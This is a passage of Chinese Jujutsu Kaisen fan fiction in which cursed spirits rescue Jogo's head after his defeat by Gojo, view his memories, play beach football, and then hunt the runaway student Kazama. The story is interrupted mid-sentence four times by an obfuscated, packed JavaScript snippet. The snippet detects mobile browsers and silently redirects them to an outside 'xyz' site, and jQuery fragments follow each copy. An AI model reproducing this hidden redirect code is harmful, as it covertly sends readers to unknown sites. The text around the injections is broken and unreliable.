“并且故意设下陷阱,在短暂解除‘无下限’时,依靠高频率和高强度的近战打击,毁掉了漏瑚身上的定位器。”
“就在那里,我失去了漏瑚的所有信息。”
少年的声音缄默了,手机孤零零掉到地上,谁也没有捡起。
再开口时,我感觉喉咙火辣辣地疼着:“枫谷同学,你守在结界边际,接应伤员。我去跟花御汇合。风间守同学,很遗憾初次见面就让你见证了这些事情,但我们现在顾不上你,我会解开封印,之后你想去哪儿由你自己决定,我的建议是至少今晚留宿在高专。”
风间守瞪大眼睛,绳索在我掌心的咒力光芒中松脱,可他并没有逃跑,而是起身,愣愣地望着我。
花御听到了我的安排,出声阻止:“不行,小瞳,你要留在结界内。”
“总不能眼睁睁看着漏瑚去送死吧?”我说,“我好歹也是个特级,大不了——”
大不了同归于尽。
我极端地想着,狂躁的怒意在身体里横冲直撞。
花御:“不行。你对付不了五条悟。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301773|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“可——”
“我是说,就算我们现在全部上去也逆转不了局面,只是去白白送死。”花御打断我。
“五条悟见到我们应该更开心才对,‘啊,那些名录上的家伙都来了啊,太好了,今天可以一口气祓除了’,大概这样。”
枫谷被刺激得大叫:“说出这种话,确定不是魔鬼吗?”
他的世界观正在崩塌,双手扒住脸说:“为什么反而我们是被畏惧的坏蛋啊!”
“那是因为你还没见过五条悟有多么超规格。”
“……”
在近乎绝望的沉默中,一只挂着绳索的纤瘦胳膊举到我面前。
“那个,”风间守竟然没走,而且还这样说了,“我想我可以帮上忙。”
说起来,我们还没有详细问过他的术式。
枫谷悠真的声音激动起来:“是暂停时间什么的吗?还是追踪空间之类的……”
“都不是啦。”风间守摇摇头。
枫谷的眼睛又黯淡下来。
“不过,”风间守说,“按理说,只是追踪位置的话,应该也能做到。”
我们齐声:“要怎么做?”
“我的术式能作用于别人的记忆。”
风间守快速地公开了自己的术式。
他可以查看、短时间改变对方的某段记忆。但是需要依靠媒介,比如被施加过咒力的物品。
枫谷:“那干嘛还要追踪漏瑚的定位?直接篡改五条悟的记忆不可以吗?”
“不行!”风间守也激动了:“那样会反噬的好吗?再说你哪里能找到留有五条悟咒力痕迹的东西啊?”
枫谷肩膀塌下去:“果然有限制啊。”
相比之下花御冷静许多,尽管很焦急,但她在通讯器里的声音依旧很镇定:“风间守现在能达到几级水平?”
我没跟他正经交手过,不过根据我多年执教的经验来看……
“准一级吧。”我说。
枫谷:“竟然是准一级吗?一上来就快超过我了!”
风间守“嘁”了一声。
“漏瑚是特级,能不能成功不好说。”
漏瑚是跟我和花御上过名录的特级咒灵,而他的咒力量大概比花御还要强一些。
对于一年级学生来说,想要将术式作用到特级身上几乎是不可能的吧?
而且,就算真的有概率起作用——那同时也说明,漏瑚虚弱到几乎命陨。
无论哪种选项,对我们来说,都不是最好的。
可是,也别无选择了。
我以最快速度飞奔到男生宿舍,也顾不得一路上男孩子们惊慌的尖叫,直接用咒力将门板折断。
漏瑚的物品……
我翻箱倒柜地寻找着,毕业后我们的宿舍都被清理过,可能也不剩什么了——有了!
我翻出一件漏瑚以前穿过的校服,直接从窗户跳出去,几乎是脚踩着风回到的训练场。
枫谷悠真彼时还一手捏着我的通讯器,一手捧着手机。
他在跟风间守聊天:“没想到你竟然会留下来。”
风间守仍旧紧绷着脸,语气有些生硬:“怎么说你们也救了我一命,之前犹豫也是因为直接拒绝显得我很没良心。但是,现在出现了我能帮忙的事,这样一来就扯平了,我也能心安理得地离开。”
听到他仍然要离开,我还是有点失望,不过现在不能跟他争辩,还是先找漏瑚要紧。
我把校服递过去:“这个行吗?”
风间守瞟了一眼,并未给出准确答复,语气沉了下来:“试试吧。”
8. 红色闪光
漏瑚被花御带回来时,只剩下一颗头。
为避免惊动全校,我召集了少部分人躲进坨艮的领域中,开启秘密会议。
在那个心脏坐过山车的夜晚,风间守先是成功将术式作用在了漏瑚的衣物上。
据他所说,大概是漏瑚平日里训练总穿着制服,所以咒力残留特别强。
没花太多功夫,风间守获得了漏瑚的方位信息,同时花御片刻不留地赶往目的地。
而我则利用权限取出高专收藏室里的特级强化咒具,用来扩大枫谷悠真的术式范围。
随后,枫谷悠真前往结界处等待支援,在见到花御时立刻发动术式将其带入结界,以免被五条悟突然打断。
万幸的是,花御身后并没有出现五条悟追来的身影。
花御解释说:“我逃离前最后将藤蔓对准了五条悟的学生,五条悟身为老师是不可能弃学生于不顾的。”
我喜极而泣地抱住花御:“真是太好了!”
花御手中还抓着漏瑚的头,被我扑上去时,手臂还跟着甩动。
漏瑚被晃晕,破口大骂:“混蛋!对着我的头能说出‘太好了’吗?”
我有被他语气凶到,也大声起来:“因为你没死啊,已经算最好的结果了吧!”
“拜托我在你眼里那么弱吗!”他更愤怒了。
我不解:“什么啊,我没有说你很弱啊。”
“住嘴!从今往后不许在我面前说那个字!”
不知怎么,漏瑚今夜很破防。
无论我们用什么方式安慰,他总能找出发脾气的点。
*
还有四个小时就要上课了。
漏瑚情绪稳定下来后,终于开始跟我们分享他此战获得的情报。
“六眼能够看穿我们的术式和咒力轨迹,和他战斗,如果没有精密的计划,基本毫无胜算。”
漏瑚一改之前的嚣张语气,似乎在见识到对手有多强后,开始重新审视我们这边的实力了。
枫谷悠真安慰道:“不要紧,我们还有宿傩大人,就是不知他此行何时才能回来……”
漏瑚咳嗽一声,说:“这正是我要分享的重要信息。我这次——”
“对了!”真人忽然抻长手臂,捂住漏瑚的嘴:“正好新同学也在,不如再让他用术式看看五条悟和漏瑚后面战斗的情况。”
风间守:“都说了我不当你们的学生啊!”
漏瑚:“才不要给你们看啊!很丢脸啊,你们能尊重一下我的人权吗?”
真人笑眯眯地抻长脖子,把脸也凑了过来:“可你现在只剩下一个头了哎,还能称作完整的人吗?”
“……”
漏瑚气哑巴了。
于是,风间守刚好能够把手覆盖在熄灭的火山上。
一阵流动的术式光芒后,漏瑚的记忆图象在我们眼前展开。
漏瑚咬牙切齿:“等老子恢复了,会把你们全部灭口。”
真人露出一副小人得志的笑容:“那你精力还不错嘛。”
真人:“不过用不着这么费心,你可以试着威胁风间同学一人,让他再用术式把我们看过的记忆删除就好了啊。”
风间守嘴角抽搐:“……你把我当什么了?”
他又不是电脑,把文件下载阅读完再扔进回收站销毁……怎么看都是坏蛋才会干的事吧!他可是无比正义的那一派,凭借着这股信念在人类世界生存了十五年。
*
就算漏瑚再不情愿,只剩个脑袋也没有手脚阻止我们,顶多喷点热乎乎的蒸汽给我们暖暖。
后半段画面跟花御拍摄的差不多,也跟我们的想象很接近,我已经尽力去捕捉五条悟每一次出拳的时机了,可他瞬移的速度太快,而且总是出现在意想不到的位置。
前一刻漏瑚还满口鲜血地推出双倍的咒力,结果五条悟瞬间闪到了他的身后,飞踹出一脚将他踢进了湖里。
湖面上激起十多米的水花,像是在水底引爆了一颗炸弹。
被击中的漏瑚缓缓浮出水面,双目失神,张开嘴,汩汩鲜血从口腔中冒出。
而五条悟的身形一顿,又不见了。
不管是纯粹的术式压制,还是脑力的比拼——
“简直完败啊!”
大家不约而同发出悲痛的感慨。
漏瑚再次崩溃:“所以说了不要看啊!就算看了又有什么用呢,你们根本研究不明白吧?”
我按住还在发动术式的风间守的胳膊:“等等,还是有收获的,风间同学把时间调回去一点。”
风间守:“真把我当进度条了啊?”
嘴上不满着,他还是再度增强了术式。
风间守:“先说好哦,我的术式也是有副作用的,结束后漏瑚先生你可能会头疼一阵。”
“已经很疼了,尽快吧,拜托你们。”漏瑚彻底摆烂道。
我指着被调整回去的画面对大家说:“看见了吗?跟之前完全不同的,五条悟手中的术式光芒是红色的。”
那是完全陌生的术式用法,至少在高专对五条悟少得离谱的记录中,没有记载过类似的情况。
而我跟五条悟的交手也是很久以前的事情了,那时都是小孩,对术式的掌握也很生疏。
大家又议论起来。
“那个六眼小子的术式不是有个叫「苍」的么。”
“不过是蓝色的吧?”
“错啦,是偏青色的。”
“现在争论颜色是不是离题了?”
“我听到了。”漏瑚的声音穿插进来。
我们大家一齐望向漏瑚的头,他被花御用沙子固定在了地面,花御解释说是传统的土壤疗法。
这一幕唤醒了我们少有的良心,大家都闭上嘴听漏瑚讲述。
“我就是被那玩意连续打进了山中,最后摔进湖里,如果没记错,五条悟说的是「赫」。”
与此同时,风间守成功调整出五条悟发动术式「赫」的场面。
漏瑚似乎很满意我们震惊的表情。
“喂,清野,你表情痛苦得好像自己挨了「赫」一样,”漏瑚笑了起来,似乎还挺骄傲,“高专时期也就你能跟我打上几个回合,如果昨天去的人是你,恐怕在最开始就扛不住了吧?”
我没有应答,眼睛直勾勾盯着那几乎穿透了半座山的红色闪光。
“你们知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301774|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道吗?”漏瑚的声音逐渐兴奋起来,像是科学家终于论证了一条真理,“当你处在生死之际时,大脑会突然一下子变得灵光。”
“就在我的头颅被迫与脖子分离时,我悟出了这个道理——所谓无下限术式,需要配合六眼才能发动,依靠精密的计算,能够在五条悟周围形成「无限」,越靠近「无限」,我们的速度越慢,而他击打的速度则在我们眼中变得超极快!”
“理论上,如果五条悟强到某种地步,他的「无限」可以无处不在。而就是因为这个,我前期完全没办法还手,随后,他便喊出了那个新的词——「赫」。”
“一个跟「苍」完全相反的力量。”
“更加恐怖,也更加强大。”
优秀学生枫谷悠真举起手:“等等!漏瑚前辈,「赫」是什么?”
漏瑚:“是五条悟的术式反转,我确实没想到,他竟然已经将术式领悟到这种地步……”
在五条家早已被公开的术式资料里,并没提到有关术式反转的内容。
漏瑚坦率地承认:“这次失败的原因,是我们太轻敌了。”
——仗着自己也是特级咒灵,在咒灵高专找不出第二个对手,性格向来骄傲的漏瑚轻敌也实属正常,而五条悟又正好利用了术式上的信息差。
停止的记忆画面再度播放起来。
“可你最后不是开了领域吗?”花御问。
当时,在飞奔向漏瑚的所在地时,她隐隐感知到了漏瑚的领域气息。
凭「盖棺铁围山」的威力,普通咒力的家伙在进入领域的瞬间就会被烧成灰烬。
可结果恰恰相反。
按照正常逻辑,如果没办法打中五条悟,那么唯一的选择就是开领域,将术式命中效果强化为“必中”,不断提高咒力浓度,总有一刻会出现「无限」被中和的时候。
一个糟糕的结论浮现在我眼前:“难不成——”
漏瑚:“没错,五条悟也开了领域。”
“他竟然能在我的领域之内,用自己的领域盖过我——哈。”
漏瑚像是被气疯了,发出一声短促的笑。
“所以啊,你们应该看够了吧?那个叫风间守的小鬼,如果不想看见我的头爆开,就赶紧把术式停下。”
中了五条悟的领域「无量空处」,大脑几乎被巨量的信息填满,漏瑚已经没办法承受更多的脑部压力了。
“抱歉。”风间守呆呆地缩回手。
手机震动起来,是我的定时闹钟。
“好了,该回去上课了,让漏瑚先休息吧。”我宣布散会。校长常年不在学校露面,作为待在高专最久的人,我有责任分担一些公务。
可直到我离开会议地点,回到教室中时,大脑还是失神的状态。
没想到漏瑚与五条悟见面的第一战就已经将规模拉到了顶点——各自都发动领域展开。
如果日后真的跟咒术师对上,只要五条悟在,我们根本没有胜算。
记忆里的那种无力感——看见被我用术式永久束缚的樱花树上出现了别人施加的痕迹,再次闪回入脑海。
下一个春天还会平静吗?
我担忧地想。
9. 足球赛
会议再度重启,已经是放学后了。
半天的理论课,半天的训练,再加本次漏瑚事件需要写的报告,我走进坨艮领域时已经累得晕头转向。
悬在蓝色天空上的太阳在海面投射出温暖的波光,双脚踩过沙滩,被光滑的石头熨烫,海风扑面,让我身上的疲惫感轻了不少。
我学着花御说过的土壤疗法,将双脚埋进沙地中,仿佛真的有股自然的力量从深处传递过来。
尽管身后有一大堆要处理的烂摊子,我还是满足地享受着这份无人打扰的安宁。
不多时,大家都聚齐了。
我从迎着波浪起伏的方向转过身,朝走来的人们露出明亮的笑容。
“晚上好,大家。”
真人扫兴的声音传来:“坨艮这里明明天还很亮呐。”
“可以不要再跟我争辩细节的问题了吗?”我白了他一眼,发现他竟然背着折叠伞和沙滩椅。
“喂,你以为今天是来度假的吗?”
真人倒是不客气,进坨艮的领域跟回自己家一样,不仅晒上了日光浴,还自带冷饮。
他像顽劣的孩子一样嘬着吸管,喉咙里发出模糊的回应:“有什么区别吗?”
“……”
我无视他,走向花御身边。
漏瑚的头被放置在一个临时买来的婴儿车里,被两名学生推着走来走去。
我盯着天蓝色的婴儿车,从灵魂深处发出质疑:“不至于这么照顾吧?漏瑚肯同意?”
婴儿车的被子里传来闷闷的声音:“不同意有用吗?快把老子放出来,热死了。”
两个学生清澈地问出各自的好奇。
“漏瑚前辈也会怕热吗?”
“什么时候才能长出身体啊,像种植一样埋进土里有用吗?”
花御逐个回答了我们的问题:“只有植物才需要被种进土里。虽然术式跟火有关,但不代表不会被火伤到。还有,用婴儿车只是因为它的蓬顶能够挡住车里的漏瑚,不然我捧着一颗头在学校里到处走,很容易引起恐慌吧?”
“你昨天可不是这么跟我讲的,”真人在躺椅上翘着二郎腿说,“明明是想报复漏瑚当年说你种那些花花草草很幼稚的言论吧。”
两个学生默默松开手,离婴儿车远了几步。
花御在婴儿车被炭化之前,用手压制住了漏瑚的怒火。
*
会议就在这种氛围里开始了。
漏瑚被安置在两名学生奋力堆起的沙堆上——那是学生们怀揣着尊敬之心为他临时拼出来的身体。
他的头在高处,以国王般的目光俯瞰着沙地上的我们。
“我带回来两个重要情报。”
“第一,下个月,咒术师会组织东京和京都两所咒术学校,开展一场交流会。”
“据我所知,咒术高专里封印着手指等特级咒物,毫无疑问,交流会期间是我们潜入咒术高专、搜寻宿傩大人手指的最佳时机。”
我在笔记本上记录下关键信息。
花御说:“这次我们要提前做好周密的计划,打败五条悟在短时间内是不可能的,我们得另想办法,最好能把他隔绝在外。”
我点头:“咒灵高专这边会征集有能力的学生一同参与,我也会跟上面反应,等人手齐全后,我们再详细讨论。”
“那样最好不过了。”
真人支着脑袋发出一阵轻哼:“那之后跟夏油大人见一面吧,他有好主意。”
“夏油大人?”听到这个名字我还是愣了一下,才反应过来是如今羂索大人在外使用的名字。
“可以。”
漏瑚等我们商讨完,继续道:“第二,我见到宿傩大人了。”
听到这句话,原本坐在沙滩上的我们全都站了起来。
枫谷悠真作为两面宿傩的头号迷弟,激动得快要跳起来:“真的吗?你见到宿傩大人了?他现在——”
“别高兴这么早啊,小鬼,”漏瑚啧了一声,“我要说的可不是什么好消息。”
“宿傩现在附身于一个粉毛小子体内,粉毛小子甚至还管五条悟叫‘老师’,具体不知道发生了什么,总之宿傩如今受到了很大限制。”
“这也是为什么我们急着寻回手指。”
漏瑚讲完正事后,立刻转变了语气。
“但是,气死我了!”
“这几天心静下来,我越想越生气,越想越不甘心。”
“被那个六眼开了领域暴虐,他还拔我脑袋!”
“宿傩大人明明就在那里,也不帮我,反而笑话我,说我又愚蠢又废物!我好歹也是上过他体术课的学生!”
沙堆在漏瑚的怒火中被灼烧出噼里啪啦的声音,某一刻承受不住压力,忽然塌陷下去。
漏瑚的头跟着滚到地上,他却全然不顾,仍旧在输出愤怒:“昨天你们都见到那个粉毛小鬼了吧?你们仔细瞧瞧,五条悟开领域时全程都护着他!我竟然成了教具!”
“同样是学生,凭什么我——”
他越说越激动,海浪里偶有飞出来的鱼虾,全被那怒火波及,一时间散发出烧烤的气味。
我身后两位学生的肚子此起彼伏发出了“咕噜”声。
不能再纵容这场闹剧了。
我忍不住打断:“漏瑚,理智一点,你已经是个成熟的大人了,别跟学生计较好吗?”
沉默许久的花御却说:“我理解宿傩大人的意思了。”
我和漏瑚齐声:“什么?”
花御:“那句‘又愚蠢又废物’。愚蠢是你竟然妄想单挑五条悟。废物是你单挑还被虐得体无完肤,失败得太难看了。”
“如果我是宿傩大人,瞧见自己的学生竟然被咒术师全方位碾压,也会先觉得丢脸,再去考虑其他吧。更何况……宿傩又不是一般人。”
漏瑚悲痛欲绝:“你扪心自问我真有那么弱吗?这所学校的咒灵学生加起来有我一半强吗?”
我从他的语调里甚至听到了什么碎裂的声响。
“哎呀,都说了别跟小鬼计较啊~”
真人从遮阳伞底下钻出来,似乎是看戏看够了。
他拍了下手,说:“好啦!漏瑚,还记得那天你走之前我们的约定吗?”
漏瑚充满怀疑地看了他一眼:“你又想搞什么恶作剧?”
真人:“是庆祝啊!”
“庆祝你——活着回来了!”
他声音积极昂扬,好像真的要发生什么天大的好事。
*
十分钟后,被日光晒得金黄的沙滩上,临时架起了两座球门。
原本在沙堆里好好晒太阳的漏瑚被真人拔出来,放在指尖转着圈。
“喂!你小子,给我停下!这么转要吐了啊。”
真人用撒娇的语气说:“嘛,我们可是费了好大功夫救你回来的,漏瑚你就牺牲一下自己吧?”
漏瑚:“你们瞧瞧我的样子,难道牺牲还不算大吗?有本事你们去找五条悟单挑啊!”
花御镇定的声音传来:“我可没有愚蠢到觉得自己能做五条悟的对手。”
漏瑚:“……”
我蹲在地上把鞋带解开,又重新系紧。
漏瑚把最后的希望寄托在我的身上:“清野瞳,你是这群家伙中最正常的了,好歹劝一劝吧?”
我冲他扬起一个官方的微笑:“有提出过反对意见,不过被全票否决了。”
“所以,还是让我们接受现实,好好享受这场比
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301775|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赛吧。”我冲他比出鼓励的大拇指。
漏瑚:“我不反对足球赛,可是,凭什么我要当球啊?!”
枫谷悠真诚恳地说:“没办法啊,坨艮前辈的领域里都是些鱼虾蟹什么的,哪个都不好踢吧。”
漏瑚眼皮抽了抽:“连枫谷悠真你也……”
枫谷把之前被漏瑚“烧烤”过的海鲜搬到了遮阳伞下,走过来时递给我们一人一串。
真人还在拿肉逗漏瑚:“需要我喂你吗,漏瑚前辈?”
漏瑚:“……可恶!我要杀了你。”
真人再次将双臂举起,用力拍了下手掌:“比赛开始!”
漏瑚下一个音节还没从口中发出,就被踢向了天空。
“你们,给我,等着——”
他的怒吼成功变为赛程开启的助威语,在海浪的背景音中久久回荡。
我放松手脚,在沙滩上奔跑起来,已经很久没有体会过纯粹的玩乐了,连吸进肺部的空气都那么甜美。
平常总是在训练场,以抵抗咒术师攻击为目的,让运动失去了最本真的意义。
而现在,我可以沉迷进这场足球运动中,在身体被双脚支撑着飞跃起来的瞬间,我感受到全身的血液在热乎乎地流动着,海风吹拂,浪花飞溅。
阳光把我们奔跑的身影清晰地投射在金色的沙地上,坨艮领域里的天空永远都这么明亮,海面闪闪发光。
风间守还在犹豫,被远远地落在后面,我跑过去拉起他的胳膊。
“喂,至少放任自己尽兴地玩一场吧,从这里离开后恐怕不会再有这种时刻了。”
他被我带着踉跄了几步,抬起头:“可是——”
“要想在这个到处都将我们当作敌人的世界里活下去,总得需要这种时刻作为记忆里的锚点啊!”我喊道。
风间守似乎被我说动容了,丢下外套,跑进球门前,大喊道:“那我负责守门!枫谷悠真,你给我用尽全力赢啊!”
我们将阵容划分为“前辈队”和“后辈队”。我、花御、坨艮为“前辈队”,真人仗着自己诞生的时日小,厚着脸皮加入了枫谷悠真和风间守的“后辈队”。
一场激烈的足球赛事就这样拉开了序幕,从黄昏踢到了夜晚。
比分很焦灼,我们前辈队领先的得分很快就被学生追上。
最终让比分落定的临门一脚,是真人灵活的后空翻,他倒着将“球”踢进了花御防守的球门中。
漏瑚高速旋转着飞入球门,真人那一脚力度之大,让漏瑚跟球网擦过时都磨出了火星。
“后辈队”获胜。
学生们激动地把球抛到空中庆祝,漏瑚黑漆漆的脸迎着湛蓝天空,竟然也发出了畅快的笑声。
*
在那场所有人都很开心的足球赛之后,风间守还是离开了咒灵高专。
我让枫谷悠真送他到结界。
枫谷悠真不甘心地拽住我的袖口:“老师,真的不再争取一下吗?”
我摇摇头:“人各有命。就算咒灵高专再缺人,也不能不尊重风间同学的意愿就强行把他关在这里。”
“如果没有坚定的信念,留在高专也会很痛苦。既然选择了外面的生活,就尊重他吧。”
我尽量表达得委婉。
“好吧。”枫谷悠真蔫巴巴地垂下头,整个人都散发出很失落的气息。
他用鞋尖摩擦着地面:“还以为会有新同学呢……”
“自己一个人生活在那样的世界,被所有人仇恨着,明明很孤独啊。”
他抬起手背,用力擦了擦眼角,朝我明亮地笑了下:“不过老师放心,我是绝对不会离开高专的!”
我揉了揉他乱糟糟的头发:“好,老师相信你。”
10. 叛逃者
转眼间过去了半个月。
再次听到风间守的消息,是来自于咒术师和咒灵双方的追杀令。
咒术师那边的命令是“祓除”,咒灵这边的命令是“处决”。
而接到这个命令的人,是我。
上面要求我携带一名同学执行“追捕”任务,作为实践教学。
[特级咒灵风间守在短短半个月内,发动了三起危害普通人的恶性事件,范围波及东京、京都,以及仙台的三所少年院。]
“这是一起复合性案件,风间守作为主力的同时,还将特级假想咒灵的咒胎引进了少年院,咒胎被大量普通人目击,事态紧急,咒术师那边已经封锁了相关区域。不管最终调查结果指向谁,风间守必须由我们的人亲自带回,绝对不可以落入咒术师的手中!”
——这是高层召开会议时,向我传达的原话。
我问:“可为什么是我?”
曾经我动过想要出结界的心思,可是申请全部被拒绝了。
高层给的答复是,因为我的术式。
我的特殊性在于,只要能够赶在风间守被抓走之前,发动术式,将其束缚,定格在濒死前一刻,就能够避免他被咒术师一方作用。
即使我们这边完成不了处决,也能够将其封印。
「总之,活要见人死要见尸,请务必把风间守带回来。」
这是高层下达的最后通牒。
*
“目前已经有至少三十名在院者死亡,事态很严重,我会把资料带着,你在路上抓紧看。”
我把平板电脑递给车后座的枫谷悠真。
“好的,老师。”第一次外出执行任务的他看起来有点紧张。
开车的人是上次送我出去的河上辅助。
“真巧,又见面了,清野老师。”河上脸部挂着失真的笑容,突然接到护送我们二人的任务,想必他也很头疼。
我冲他抱歉地笑笑:“真是不好意思,把休假的人喊过来加班……”
“您不需要内疚,清野老师,高专内的咒灵需要根据命令统一行动,这一点每个人都清楚。”
河上的车开得很稳,穿过结界时如果不一直盯着窗外,完全不会发现世界已经改变了。
“这次的案件我也有所耳闻,”河上说,“听说叛逃者曾经拒绝了您的邀请,是不是从那时起就初现端倪了?”
我没想到流言传播得这么快,心里有点不舒服:“风间守是个好孩子。”
“哦?原来清野老师是这么想的。”河上眨了眨眼睛,后视镜中他的神色有股异样的复杂。
一直安静看资料的枫谷悠真忽然抬起头,做出维护式发言;“风间同学之前有协助我们救回漏瑚前辈,对我们来说是大恩人。”
“哦?枫谷还在喊他为‘同学’啊。”河上似乎不太能理解我们之间这种复杂的关系。
他是一名优秀的咒灵辅助,符合工作需要的所有特性——性格沉稳理智,头脑清醒,并且还会开车以及使用简单的“帐”术。
在枫谷发出反驳的声音前,我及时转移话题:“这次出行我跟上面报备了两天,河上先生计算过路上所花费的时间吧?我们需要在外面住一晚,以便最大程度地节省时间。”
一来一回,在路上耗费的时间就有小半天,所以中途回高专休息肯定不现实。
我们执行任务一般都在夜晚,以便掩人耳目,但现在情况特殊,已经没法考虑时间问题。
听说咒术师那边祓除咒灵会设“帐”,来缩小影响规模,防止普通人目击。
我们也一样,会在拯救咒灵时尽可能缩小影响范围,以免被咒术师注意到。
在车上待着也是无聊,我挑了几条重要的线索整理在备忘录中。
少年院中被官方记录的死者有三十二名,另外还有两具无人认领的尸体。
这两位死者的信息完全查不到,只听过幸存者说他们是“从别的世界来的”。
我读着报道,后座的枫谷悠真因为好奇而降下了车窗,外面世界的蝉鸣声洪水一样涌进车内,盖过了河上辅助播放的高雅交响乐。
仲夏时节蝉鸣总是给人带来一种响亮的疲惫感。
为了尽可能跟咒术师错开,我们决定先前往仙台。
这里的街景跟我们的世界并没有明显不同,不过路上的行人出奇得多。
河上加快车速驶过这片区域,被霓虹覆盖的房屋朝我们远去,变成一片薄薄的彩光,在视野里渺小地晃动。
枫谷悠真把脑袋靠在窗边,用力吸了口气。
“在闻什么?”我放下资料问。
“有甜甜的香气,那边排队最多的地方是家很有名的和果子店吧?听说有款毛豆生奶油味卖得超火,真想吃吃看呢。”
我被他的语气感染,于是说:“任务顺利的话,返程时买一些带回去当伴手礼吧。”
“好哎!老师最好了!”
车子转过一个大弯,驶入黑暗里,之前繁华的光景彻底在视线中消失,枫谷又把车窗升了上去,眼睛却仍然贴在玻璃上。
河上辅助提醒说:“快到了。”
远处的天变得黑沉沉,似乎压到了路面上,道路两旁,树木变得了无生气,延伸的枝条同样被吞进了黑色里。
我们赶到时,咒术师的帐并未撤下,上次见过面的伏黑惠正背着一个全身是血的少年从帐中走出来。
“啊呀,搞这么狼狈。”在外面等他的成年人说,从伏黑惠手中接过了昏迷的少年。
听见那种轻飘飘的语气,我一瞬间以为是五条悟,但那个人个子并不突出,也没有挡住眼睛。
我们不约而同松了口气。
看样子风间守并不在这里,而咒灵一早便被伏黑惠祓除。
“空跑了一趟。”河上的语气有些忧郁。
“但换个角度想,风间守也不是轻易能被抓到的对象,在三个不同地方搞出这么大动静,肯定不是靠他自己完成的。”
“你是说他还有秘密同伙?”
“显而易见吧。”我说。
枫谷悠真抬起头:“会是花御前辈她们吗?”
我摇摇头:“不会的,我相信她。”
作为同窗多年的好友,怎么说也该有点信任。
当然,信任归信任。我的内心还是被一度恐慌冲击。
其实,花御在漏瑚单挑五条悟失败的事件后,暂时和我中断了联系。
理由是羂索大人认为和我联络会使她的工作效率降低——尽管我事后有解释和花御聊天并不属于工作时间摸鱼的范畴。
不过没人信就是了。
“算啦,看起来这里并不需要我们出手,走吧。”河上辅助再度系上安全带,准备发动车子。
车子一阵颠簸。
“等等。”我伸手在虚空中拦截了一下。
后座枫谷瘫进座位的身体再度支棱起来,他像一只警觉的小动物,耸了耸耳朵:“怎么了?”
我望着身处帐交界处的伏黑惠,他力气似乎已经耗尽,颜色变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301776|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深的血沿着他垂落的指尖滴答,他原本被安置在另一张病床上,却在护士转身时不安分地坐了起来。
还是同样的习惯,单手把手机夹在下颌跟肩膀之间。
他在打电话。
我把车门打开,外界的空气夹杂着血腥味飘过来,我闭了下眼睛,耳边呼啸的风声和嘈杂的人声全部停滞。
伏黑惠打电话的声音清晰地传入我的耳朵。
“咒灵已经被祓除,又有三名在院者获救,另有五名死亡。”
“京都和东京的情况怎么样了?”
“……知道了,但我要赶过去也是明天。这么晚已经没有车了。”
我睁开眼,随后用力闭合。
这次,电话那边的声音也能听到了。
“东京那边的咒胎已经孵化了,目前留在高专的只有两个一级和一个二级术师,而七海先生被派遣去京都了。”
伏黑惠:“这种时候五条老师为什么会不在啊?”
“出差是一早就定下来的啊,那边的任务也得靠他解决。伏黑同学请不要责怪我们,这事谁都料想不到的事情……所以,如果确认咒灵已经被祓除干净了,请尽快前往东京支援。”
“咒灵确认已祓除干净,请给我派车。”伏黑语气有些烦躁。
正听着,忽然一股刺痛钻进耳道,我忙张开眼睛,发现环绕在救护车外的咒力气息有股异样的浓度。
帐术正在慢慢消解,只有这区域的咒灵死亡时才会被自动解除,应该不会有错,如伏黑惠所说,学校建筑物内已经不存在咒灵。
而我们也没闻到同伴的气息。
那么——
轰隆隆的巨响中,附近的车身全部被一股无形的力量抬起,人们在空中发出惊叫,伏黑惠的手机掉到了地上。
他显然也愣住了。
一旁的辅助监督也被吓到,大叫着远离车子:“搞什么啊?怎么外面也有!那群蟑螂一样的家伙已经侵袭到校外了吗!”
“并不。”
再看向伏黑惠时,他已经翻身下床,明明还在受伤流血,马步却稳稳扎在地面上,双手紧握,浓郁的黑影在地面逐渐成型。
“玉犬!”
第一辆发生异常的车子爆开了,从里面涌出大量蝇头,像是从开始就设定好的陷阱一样,蛰伏到此刻才发动攻击。
